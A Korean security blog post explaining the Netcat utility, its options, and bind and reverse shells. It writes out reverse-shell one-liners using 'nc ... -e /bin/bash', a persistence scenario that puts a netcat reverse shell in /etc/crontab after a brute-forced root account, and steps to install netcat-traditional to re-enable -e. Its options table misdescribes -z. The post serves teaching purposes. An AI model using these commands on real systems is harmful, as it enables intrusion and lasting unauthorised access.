1. Netcat (nc)
- TCP 또는 UDP를 사용하여 네트워크 연결을 읽거나 기록하는 컴퓨터 네트워킹 유틸리티
- UNIX의 cat과 유사하며, cat 명령으로 파일을 읽거나 쓰듯이 NC는 Network Connection에 읽거나 씀
- 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하지만 반면 해킹에서도 자주 사용
1.1 주요 옵션
옵션 | 설명 |
-l | listen 모드로 port 오픈 |
-L | 영구 리스너 생성 (Windows만 작동) |
-u | Netcat UDP 모드로 전환 (기본값 TCP) |
-p | local port 지정 |
-e | 연결 후 수행 할 작업 ※ 서버에서 -e 옵션 지정 시 서버에서 해당 작업이 수행 ※ 클라이언트에서 -e 옵션 지정 시 클라이언트에서 해당 작업이 수행 |
-s addr | local ip address 지정 |
-n | 호스트 네임과 포트를 숫자로만 입력 |
-z | local ip address 지정 |
-v | verbosity를 증가시키며, 더 많은 정보를 얻을 수 있음 |
-w secs | 시간 종료 값을 정의 |
1.2 바인드쉘
- 일반적인 연결 상태로, 클라이언트가 서버에 접속
- 서버: nc -lnvp 1234 -e /bin/bash
- 클라이언트: nc <서버 IP> 1234
1.3 리버스쉘
- 바인드쉘과 반대로 서버가 클라이언트에 접속, -e 옵션에 의해 클라이언트에서 작업이 수행됨
> 예시의 경우 클라이언트의 /bin/bash가 실행
> 공격자의 PC가 서버가되고, 피해자의 PC가 클라이언트가 되어 명령을 실행
- 서버: nc -lnvp 1234
- 클라이언트: nc <서버 IP> 1234 -e /bin/bash
- 일반적으로 방화벽은 네트워크 최상단에 설치되어 외부에서 내부로 들어오는 연결을 차단
> 반대로 내부에서 외부로 나가는 연결에 대해서는 상대적으로 허용하는 경우가 많음
> 이를 이용해 공격자는 공격 PC를 서버로 동작시킨 뒤, 피해 PC에서 명령 실행 및 공격 PC로 접근해 쉘을 획득
- 일반적인 리버스쉘 시나리오는 다음과 같음
① 공격자는 내부 네트워크에 침입한 후 무차별대입공격으로 root 계정 탈취
② 반복적인 침입을 위해 root 계정을 이용해 root 권한을 가지는 일반 사용자 계정 생성
③ netcat 프로그램을 이용한 리버스쉘 연결 작업을 cron table에 등록(/etc/crontab)
④ 공격자는 주기적으로 shell을 획득해 추가 명령 수행
2. -e 옵션
- 앞서 살펴보았듯이 -e 옵션은 연결을 생성한 후 실행할 명령 등의 작업을 지정함
- 침해 상황을 가정해 nc를 통해 리버스쉘 연결을 시도한 결과 -e 옵션이 유효하지 않다고 확인됨
- 구글링을 해보니 비활성화된 (또는 지원하지 않는) 버전의 nc를 사용한 결과라고 함
> 따라서, -e 옵션을 지원하는 nc 버전 (netcat-traditional)을 설치하고, 해당 버전으로 설정해야 함
# sudo apt-get install -y netcat-traditional
# sudo update-alternatives --config nc
- 두 번째 명령 실행 결과를 확인해보면 현재 /bin/nc.openbsd 버전을 사용하고 있는 것으로 확인 됨
> 설치한 netcat-traditional (nc.traditional)으로 변경
- 변경 후 -e 옵션을 실행하면 정상적으로 리버스쉘이 생성됨
'취약점 > 기타' 카테고리의 다른 글
국방모바일보안 앱 보안 취약점 (2) | 2023.06.07 |
---|---|
무차별 대입 공격을 이용한 스마트폰 지문 인증 우회하는 BrutePrint (1) | 2023.06.03 |
AD(Active Directory) 공격 (0) | 2023.04.20 |
Deface Attack_중국 샤오치잉 해킹 그룹 (0) | 2023.04.10 |
IFS(Internal Field Separator) String (0) | 2023.02.01 |